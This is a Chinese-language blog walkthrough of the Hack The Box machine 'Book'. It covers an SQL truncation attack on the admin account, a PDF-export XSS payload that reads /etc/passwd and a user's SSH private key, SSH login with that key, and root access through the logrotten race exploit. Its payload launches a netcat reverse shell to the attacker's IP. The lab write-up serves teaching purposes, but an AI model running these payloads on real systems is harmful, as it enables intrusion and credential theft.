avatar

hackthebox book

信息收集

只扫到了 80 和 22,那就先去 web 上看看有没啥洞,八成是拿 webshell 进而去提权等操作。

image-20200427103019702

网站的 index 就是让你注册一个用户,随便注册一个用户登录,看了下功能点,在 collections 有一个上传点,测试直接上传 php 发现没有拦截, burpsuite 抓包发现有没有返回地址,在 book 那里发现是 pdf 文件格式和上传功能那里一致,查看源代码找 pdf 的链接想看看上传的文件夹在那里,突然发现这个功能是这样的。

1
http://10.10.10.176/download.php?file=1

于是尝试下载 /etc/passwd,发现没有报错,但是没有回显。一番 fuzz 下来无果,先看看别的功能,在 contact us 那里发现有留言,于是想到有可能后台有 bot 去访问留言板, xss 发射过去好几发也没见动静。这时候网站目录扫描结果出来了,去看一眼。

1
python3 dirsearch.py -u http://10.10.10.176/ -w /Users/carlstar/tools/info/dict/dict_web/后台+目录.txt -e php

image-20200427103914278

既然有 admin 账号那就去后台看看,扫描结果 /admin 应该就是后台登录的地址。果不其然,在登录那里测试了注入,万能密码,弱密码爆破无果。理了一下思绪,在登录源代码那里发现了问题。

1
2
3
4
5
6
7
8
9
10
11
12
function validateForm() {
var x = document.forms["myForm"]["name"].value;
var y = document.forms["myForm"]["email"].value;
if (x == "") {
alert("Please fill name field. Should not be more than 10 characters");
return false;
}
if (y == "") {
alert("Please fill email field. Should not be more than 20 characters");
return false;
}
}

在认证的时候发现它的 name 和 email 地址都是限制了长度,加上之前在 contact us 那有 admin 的邮箱,可以试试 sql truncation attack 官方文档在 这里

image-20200427105058440

这样的话我们就重置了 admin 的密码,登录下看看。在 feedback 看到了我们的留言,发现 <> 被 html 实体编码了,怪不得没用。但是在 collections 可以 导出 pdf,下载后发现是我们的马儿内容。联想到最近刚看了 pdf xss,去验证一下。相关文章推荐阅读 noob ninja

1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

image-20200427105829507

现在我们有了任意读文件的能力,想一下如何更好的利用这个点拿下 shell 。回想下我们扫描的端口有 22,那么看看有没有 ssh 私钥,如果能读到的话直接可以登录了。

1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","/home/reader/.ssh/id_rsa");x.send();</script>

image-20200427123103921

image-20200427123656664

ok,直接复制到文本然后 ssh 登录即可。主要的是 id_rsa 需要给一个 700 的 rwx 权限。

1
ssh -i id_rsa reader@10.10.10.176

但是执行的时候因为 pdf 格式问题,没执行成功,看了一下 id_rsa 发现有许多的空格,手动修复了一下也不太行。搜了一下网上就有在线转换的,转换成功后登录。

image-20200427130426671

root

拿到了 user 的 ssh,接着还是收集信息,看看机器的环境,为提权做好准备。先把 pspy 传上去,有关 pspy 可以看下 github 的介绍。pspy

image-20200427160536249

image-20200427160516643

大概看了下发现 logrotate 是已 root 运行的,这个是 linux 自带的日志管理工具。3.11.0 这个版本刚好在 exp 的范围内,是一个条件竞争的漏洞。具体可以看这里 logrotten

image-20200427160917595

1
2
3
4
5
6
7
logrotate -v

logrotate 3.11.0 - Copyright (C) 1995-2001 Red Hat, Inc.
This may be freely redistributed under the terms of the GNU Public License

Usage: logrotate [-dfv?] [-d|--debug] [-f|--force] [-m|--mail=command] [-s|--state=statefile]
[-v|--verbose] [-l|--log=STRING] [--version] [-?|--help] [--usage] [OPTION...] <configfile>

先编译 .c 文件,然后反弹 shell 即可,在 exp 运行的过程中需要向日志文件写点东西,触发条件竞争。

1
2
3
4
5
6
7
gcc -o logrotten logrotten.c

echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash 10.10.14.27 6666 &); fi" > payloadfile

./logrotten -p ./payloadfile /home/reader/backups/access.log

echo "pwn" >> aceess.log

image-20200427170952198

Author: CarlStar
Link: http://yoursite.com/2020/04/27/htb_book/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment